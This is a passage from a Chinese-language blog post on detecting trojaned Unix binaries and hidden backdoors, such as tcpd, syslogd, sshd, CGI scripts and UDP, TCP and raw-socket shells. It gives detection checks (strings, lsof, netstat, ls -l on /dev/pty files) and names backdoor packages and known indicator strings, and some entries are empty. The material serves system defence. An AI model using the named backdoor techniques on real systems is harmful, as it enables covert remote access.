如果 strings top | grep "/dev/pty" 有输出,或者直接 strings top
发现可疑路径和文件名,说明已经 trojan 了。
 
11.tcpd 后门:
tcpd 中有一段代码,这段代码对远程主机名进行查询和双重检查,拒绝可疑连接.trojan 的目的是使这段代码失效。
检查 /dev 目录,查找是否有诸如"/dev/ptyq" 之类的文件,用"ls -l"
看结果是否为:
-rw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyq
而不是
crw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptyq
brw-rw-rw- 1 root tty 2164 May 6 1998/dev/***
如果有,而启动 tcpd 时用lsof 发现它被打开,说明 tcpd 被木马了.如果 tcpd 接受'-/' 选项(原有代码中没有这个选项),那么,tcpd 肯定被trojan 了。
如果 strings tcpd | grep "/dev/pty" 有输出,或者直接 strings tcpd发现可疑路径和文件名,说明已经 trojan 了。
 
 
12.syslogd 后门:
检查 /dev 目录,查找是否有诸如"/dev/ptys" 之类的文件,用"ls -l"
看结果是否为:
-rw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptys
而不是
crw-rw-rw- 1 root tty 2164 May 6 1998/dev/ptys
brw-rw-rw- 1 root tty 2164 May 6 1998/dev/***
如果有,而启动 syslogd 时用lsof 发现它被打开,说明 syslogd 被木马了.
如果 strings syslogd | grep "/dev/pty" 有输出,或者直接 strings syslogd
发现可疑路径和文件名,说明已经 trojan 了。
 
13.killall 后门:
检查 /dev 目录,查找是否有诸如"/dev/ptyp" 之类的文件,用"ls -l"
看结果是否为:
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
而不是
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***
如果有,而执行 killall 时用lsof 发现它被打开,说明 killall 被木马了。
如果 killall 接受'-/' 选项(原有代码中没有这个选项),那么,killall 肯定
被 trojan 了。
如果 strings killall | grep "/dev/pty" 有输出,或者直接 strings killall发现可疑路径和文件名,说明已经 trojan 了。
 
 
14.ppp3d 后门:
pop3d-trojan.tar.gz
 
15.sshd 后门:
sshd 后门把 ssh 发行包里的 login.c 作了修改,加入了内置的用户名和口令,执行 "strings sshd",发现诸如 "hax0r3d" 串,说明 sshd 已被trojan。
 
16.cgi 后门:
gH CGI 后门;WWW-Tunnel --- perl 写的 cgi 脚本后门.
在 cgi-bin 目录下检查这类cgi 脚本文件。
 
17.find 后门:
如果命令行中执行这些命令可以加 '-/' 选项(原有代码中没有这个选项),那么,说明已经被木马了。
检查 /dev 目录,查找是否有诸如"/dev/ptyr" 之类的文件,用"ls -l"
看结果是否为:
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
而不是
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***
如果有,说明已经有木马了。
如果 strings ls | grep "/dev/pty" 有输出,或者直接 strings ls
发现可疑路径和文件名,说明已经 trojan 了.对 dir、vdir 也一样。
 
18.chfn 后门
 
19.chsh 后门
 
20.daemon 服务后门
 
二进制木马后门是把系统上原有的二进制可执行程序换成特洛伊(trojan)木马程序,与之相应,另一类后门是在系统上隐藏一些可执行程序,这些可执行程序原来系统上
并不存在.按照网络协议来分类,它们有如下这些类别:
(1) UDP 后门:
启动一个 daemon 进程,侦听某个UDP 端口,收到 UDP 包后启动一个 shell.
例如 udp-backdoor-v2.0.tgz 就是这类后门的安装包.可用netstat -l -p-na | grep udp
查看这类后门是否在活动。
 
(2) tcp 后门:
诸如 bdoor.c 之类的小程序.执行 "netstat -l -p -na |grep tcp" 查看这类后门是否在活动。
 
(3) raw socket 后门:
这类后门打开一个 raw socket,通过发ICMP 包来进行网络通讯.
如果已对文件系统用 tripwire 之类的工具作了备份和记录,检测这类后门的第一步当然是用这类工具检查是否增加了新文件,
特别是可执行文件.如果有,需仔细检查,它极可能是后门程序.另一方面,在系统上暗藏可执程序安置 daemon 服务后门后,
攻击者要做的事就是如何启动它.如果没有启动,暗藏的这些程序是毫无用处的,也失去了后门功能.
Unix 系统上守护进程通过 rc 脚本来启动,对网络守护进程,还可以通过 inetd超级服务器来启动.相应地,检测这类后门也依据这些,并结合这类后门大都要进行网络通讯的特征。
posted @ 2019-05-30 11:50  H·c  阅读(1693)  评论(0编辑  收藏  举报